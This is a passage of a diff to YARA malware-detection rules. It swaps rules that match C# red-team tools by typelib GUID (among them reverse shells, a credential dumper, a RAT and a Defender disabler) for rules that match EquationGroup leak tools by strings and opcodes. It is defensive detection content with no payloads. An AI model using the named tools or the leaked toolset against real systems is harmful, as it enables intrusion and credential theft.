+		hash6 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
+		hash7 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
+		hash8 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
+		hash9 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
+		hash10 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
+		hash11 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
+		hash12 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
+		hash13 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
+		hash14 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
 
 	strings:
-		$typelibguid0lo = "8a87b003-4b43-467b-a509-0c8be05bf5a5" ascii wide
-		$typelibguid0up = "8A87B003-4B43-467B-A509-0C8BE05BF5A5" ascii wide
-		$typelibguid1lo = "80b13bff-24a5-4193-8e51-c62a414060ec" ascii wide
-		$typelibguid1up = "80B13BFF-24A5-4193-8E51-C62A414060EC" ascii wide
+		$x1 = "[+] \"TargetPort\"      %hu" fullword ascii
+		$x2 = "---<<<  Complete  >>>---" fullword ascii
+		$x3 = "[+] \"NetworkTimeout\"  %hu" fullword ascii
+		$op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <150KB and (1 of ($x*) or 2 of them ))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpminidump : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e91e6711-d992-5a8a-97e6-1ed7847f38a4"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/b4rtik/SharpMiniDump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L380-L394"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ef422dfd066c4fff7e3e72758557bcac81883ae75f0bf0c8efc14a127e12acf"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "98b0a398-7761-5506-bd2f-117c118df11f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1965-L1984"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd40d51ba26706517dae332d84f574eb206a424693cfb586375695e364990b5d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1b5b33931eb29733a42d18d8ee85b5cd7d53e81892ff3e60e2e97f3d0b184d31"
+		hash2 = "139697168e4f0a2cc73105205c0ddc90c357df38d93dbade761392184df680c7"
 
 	strings:
-		$typelibguid0lo = "6ffccf81-6c3c-4d3f-b15f-35a86d0b497f" ascii wide
-		$typelibguid0up = "6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F" ascii wide
+		$x1 = "Restart with the new protocol, address, and port as target." fullword ascii
+		$x2 = "TargetPort      : %s (%u)" fullword ascii
+		$x3 = "Error: strchr() could not find '@' in account name." fullword ascii
+		$x4 = "TargetAcctPwd   : %s" fullword ascii
+		$x5 = "Creating CURL connection handle..." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Cinarat : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c6b4c919-0fc6-5096-b29b-963142a2c831"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/wearelegal/CinaRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L396-L412"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "10b086a6472ebad3bc3ab3fe41fb1869632aa94f4fe44446fa1fa7d97abf3ce6"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e47de7dd-8a37-5d0d-9af2-2a30fa000b05"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1986-L2012"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c0833e92e23d595ebcf4af042febc44fba594356a647eb98e48b6fabf018d72"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "7fe425cd040608132d4f4ab2671e04b340a102a20c97ffdcf1b75be43a9369b5"
+		hash2 = "561c0d4fc6e0ff0a78613d238c96aed4226fbb7bb9ceea1d19bc770207a6be1e"
+		hash3 = "f2e90e04ddd05fa5f9b2fec024cd07365aebc098593d636038ebc2720700662b"
+		hash4 = "8f7e10a8eedea37ee3222c447410fd5b949bd352d72ef22ef0b2821d9df2f5ba"
 
 	strings:
-		$typelibguid0lo = "8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc" ascii wide
-		$typelibguid0up = "8586F5B1-2EF4-4F35-BD45-C6206FDC0EBC" ascii wide
-		$typelibguid1lo = "fe184ab5-f153-4179-9bf5-50523987cf1f" ascii wide
-		$typelibguid1up = "FE184AB5-F153-4179-9BF5-50523987CF1F" ascii wide
+		$s1 = "[+] Setting password : (NULL)" fullword ascii
+		$s2 = "[-] TbBuffCpy() failed!" fullword ascii
+		$s3 = "[+] SMB negotiation" fullword ascii
+		$s4 = "12345678-1234-ABCD-EF00-0123456789AB" fullword ascii
+		$s5 = "Value must end with 0000 (2 NULLs)" fullword ascii
+		$s6 = "[*] Configuring Payload" fullword ascii
+		$s7 = "[*] Connecting to listener" fullword ascii
+		$op1 = { b0 42 40 00 89 44 24 30 c7 44 24 34 }
+		$op2 = { eb 59 8b 4c 24 10 68 1c 46 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and 1 of ($s*) and 1 of ($op*)) or 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Toxiceye : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen3 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0b7b62ce-9c24-5d81-8d87-22f6e461a62b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/LimerBoy/ToxicEye"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L414-L428"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "29c8be9e1500ff5799e7527482131e28dcea66077958d2c30126415769ad6ee0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7951fac1-9d5f-5991-a19a-88f3c8402e39"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2014-L2042"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99b293d441fd27a6295e6a93123cf45e787472fb61575d566e7b4e0c61226fdb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
+		hash2 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
+		hash3 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
+		hash4 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
+		hash5 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
+		hash6 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
+		hash7 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
+		hash8 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
+		hash9 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
+		hash10 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
+		hash11 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
+		hash12 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
 
 	strings:
-		$typelibguid0lo = "1bcfe538-14f4-4beb-9a3f-3f9472794902" ascii wide
-		$typelibguid0up = "1BCFE538-14F4-4BEB-9A3F-3F9472794902" ascii wide
+		$s1 = "Logon failed.  Kerberos ticket not yet valid (target and KDC times not synchronized)" fullword ascii
+		$s2 = "[-] Could not set \"CredentialType\"" fullword ascii
+		$op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <150KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Disable_Windows_Defender : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Yak : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9a673427-e66e-594b-942a-64a2272319f3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Disable-Windows-Defender"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L430-L444"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eeabc349036a73e65f81558e5e447c69a68161d487d0991a808800135287a67c"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5562d1a-7980-5fb8-b098-2e26003fb159"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2054-L2070"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69b9514508f557376d876262793e5650289abfeeeee8b5ca9beaf42f3ec4d64c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "66ff332f84690642f4e05891a15bf0c9783be2a64edb2ef2d04c9205b47deb19"
 
 	strings:
-		$typelibguid0lo = "501e3fdc-575d-492e-90bc-703fb6280ee2" ascii wide
-		$typelibguid0up = "501E3FDC-575D-492E-90BC-703FB6280EE2" ascii wide
+		$x1 = "-xd = dump archive data & store in scancodes.txt" fullword ascii
+		$x2 = "-------- driver start token -------" fullword wide
+		$x3 = "-------- keystart token -------" fullword wide
+		$x4 = "-xta = same as -xt but show special chars & store in keys_all.txt" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <800KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvoke_Poc : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Aduser_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/dtrizna/DInvoke_PoC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L446-L460"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c72125f272d18801c36a4f5f8c877ae5ecf3a81bd9e58113ce79f2311c455c65"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4ba152c8-aa81-5558-8ad3-c62aa3231dab"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2072-L2086"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d378773f4acd850e5a8d92d6cce84d57f659330edc025565cf4bc34afb0a6ae6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fd2efb226969bc82e2e38769a10a8a751138db69f4594a8de4b3c0522d4d885f"
 
 	strings:
-		$typelibguid0lo = "5a869ab2-291a-49e6-a1b7-0d0f051bef0e" ascii wide
-		$typelibguid0up = "5A869AB2-291A-49E6-A1B7-0D0F051BEF0E" ascii wide
+		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
+		$s2 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <40KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Reverseshell : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Remoteexecute_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "876932d5-a65d-5230-9cb8-24038ad8af0d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/chango77747/ReverseShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L462-L478"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b736919d47877bcca21ba0fb136fe2ed39b645f6b1e9e9b5f0f2fc4758814174"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5fa5ff71-42fa-58e2-a826-341fb73ea08a"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2088-L2112"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa46cb188ba820199c013633ade72ab1c8bea316384042e9e3b5098c439841a5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "770663c07c519677316934cf482e500a73540d9933342c425f3e56258e6e6d8b"
 
 	strings:
-		$typelibguid0lo = "980109e4-c988-47f9-b2b3-88d63fababdc" ascii wide
-		$typelibguid0up = "980109E4-C988-47F9-B2B3-88D63FABABDC" ascii wide
-		$typelibguid1lo = "8abe8da1-457e-4933-a40d-0958c8925985" ascii wide
-		$typelibguid1up = "8ABE8DA1-457E-4933-A40D-0958C8925985" ascii wide
+		$op1 = { 53 00 63 00 68 00 65 00 64 00 75 00 6C 00 65 00
+               00 00 00 00 53 00 65 00 72 00 76 00 69 00 63 00
+               65 00 73 00 41 00 63 00 74 00 69 00 76 00 65 00
+               00 00 00 00 FF FF FF FF 00 00 00 00 B0 17 00 68
+               5C 00 70 00 69 00 70 00 65 00 5C 00 53 00 65 00
+               63 00 6F 00 6E 00 64 00 61 00 72 00 79 00 4C 00
+               6F 00 67 00 6F 00 6E 00 00 00 00 00 5C 00 00 00
+               57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C 00
+               44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00 00
+               6E 00 63 00 61 00 63 00 6E 00 5F 00 6E 00 70 00
+               00 00 00 00 5C 00 70 00 69 00 70 00 65 00 5C 00
+               53 00 45 00 43 00 4C 00 4F 00 47 00 4F 00 4E }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <40KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpc2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Banner_Implant9X : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2ed6d74e-2b95-5c70-807a-4da5e62f5853"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/SharpC2/SharpC2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L480-L504"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f145c6061a4babb006acb84b3dd16a9fe7ce5819c9a656f0a947119016cf992b"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7cbb509e-2a91-5e3c-8d19-61fda797cd8c"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2114-L2129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bda7b8ab097c0a5ca90b05147d4227e5a03735b99633b5081d80d2d72bceba9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5d69a8cfc9b636448f023fcf18d111f13a8e6bcb9a693eb96276e0d796ab4e0c"
 
 	strings:
-		$typelibguid0lo = "62b9ee4f-1436-4098-9bc1-dd61b42d8b81" ascii wide
-		$typelibguid0up = "62B9EE4F-1436-4098-9BC1-DD61B42D8B81" ascii wide
-		$typelibguid1lo = "d2f17a91-eb2d-4373-90bf-a26e46c68f76" ascii wide
-		$typelibguid1up = "D2F17A91-EB2D-4373-90BF-A26E46C68F76" ascii wide
-		$typelibguid2lo = "a9db9fcc-7502-42cd-81ec-3cd66f511346" ascii wide
-		$typelibguid2up = "A9DB9FCC-7502-42CD-81EC-3CD66F511346" ascii wide
-		$typelibguid3lo = "ca6cc2ee-75fd-4f00-b687-917fa55a4fae" ascii wide
-		$typelibguid3up = "CA6CC2EE-75FD-4F00-B687-917FA55A4FAE" ascii wide
-		$typelibguid4lo = "a1167b68-446b-4c0c-a8b8-2a7278b67511" ascii wide
-		$typelibguid4up = "A1167B68-446B-4C0C-A8B8-2A7278B67511" ascii wide
-		$typelibguid5lo = "4d8c2a88-1da5-4abe-8995-6606473d7cf1" ascii wide
-		$typelibguid5up = "4D8C2A88-1DA5-4ABE-8995-6606473D7CF1" ascii wide
+		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
+		$op1 = { c9 c3 57 8d 85 2c eb ff ff }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <20KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sneakyexec : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Greatdoc_Dll_Config : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "853b630d-77ba-5847-a129-c9fa0538f81b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/HackingThings/SneakyExec"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L506-L520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1a88512f8da078f9eb4ece21106b1cb0ba99ad86f5d3f90b036b647bb396fd4"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "592e4e40-f5cd-5a11-8a1b-0cdcf6f267ec"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2131-L2147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "edb14cc9e51bbf6b3ca2c52f841edfa3df1ca89b3e7c1b5a59baf3a13be0fc46"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fd9d0abfa727784dd07562656967d220286fc0d63bcf7e2c35d4c02bc2e5fc2e"
 
 	strings:
-		$typelibguid0lo = "612590aa-af68-41e6-8ce2-e831f7fe4ccc" ascii wide
-		$typelibguid0up = "612590AA-AF68-41E6-8CE2-E831F7FE4CCC" ascii wide
+		$x1 = "C:\\Projects\\GREATERDOCTOR\\trunk\\GREATERDOCTOR" ascii
+		$x2 = "src\\build\\Release\\dllConfig\\dllConfig.pdb" ascii
+		$x3 = "GREATERDOCTOR [ commandline args configuration ]" fullword ascii
+		$x4 = "-useage: <scanner> \"<cmdline args>\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Urbanbishoplocal : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Scanner : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "53b690ec-7d20-5e46-b368-b458ce56073d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/slyd0g/UrbanBishopLocal"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L522-L536"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0102e3ecbc13503858ad2119f206fa052caefdf557bbc62448c6da8c8b540de1"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "603c82d0-2e65-5353-a109-5f69697cffa4"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2149-L2166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7f2ee4ac260b78764573187c501ed27fbfdf573e618f15dbd307177afa670605"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f180bdb247687ea9f1b58aded225d5c80a13327422cd1e0515ea891166372c53"
 
 	strings:
-		$typelibguid0lo = "88b8515e-a0e8-4208-a9a0-34b01d7ba533" ascii wide
-		$typelibguid0up = "88B8515E-A0E8-4208-A9A0-34B01D7BA533" ascii wide
+		$x1 = "+daemon_version,system,processor,refid,clock" fullword ascii
+		$x2 = "Usage: %s typeofscan IP_address" fullword ascii
+		$x3 = "# scanning ip  %d.%d.%d.%d" fullword ascii
+		$x4 = "Welcome to the network scanning tool" fullword ascii
+		$x5 = "***** %s ***** (length %d)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <90KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshell : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Mcl_Ntmemory_Std : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5966be44-c010-5c63-9576-1aaf36397d6c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/cobbr/SharpShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L538-L554"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1a0d81f4bccde400d981da9cf769972fe1b8da44911c0805e6226f1db2ba0e84"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "608218a8-7642-5ec4-8c07-87248649f022"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2168-L2183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d3c76cf0ca0f798e1ca3c0a1b88c3bb425f1c36439842c4c33247dfcb44a877"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "087db4f2dbf8e0679de421fec8fb2e6dd50625112eb232e4acc1408cc0bcd2d7"
 
 	strings:
-		$typelibguid0lo = "bdba47c5-e823-4404-91d0-7f6561279525" ascii wide
-		$typelibguid0up = "BDBA47C5-E823-4404-91D0-7F6561279525" ascii wide
-		$typelibguid1lo = "b84548dc-d926-4b39-8293-fa0bdef34d49" ascii wide
-		$typelibguid1up = "B84548DC-D926-4B39-8293-FA0BDEF34D49" ascii wide
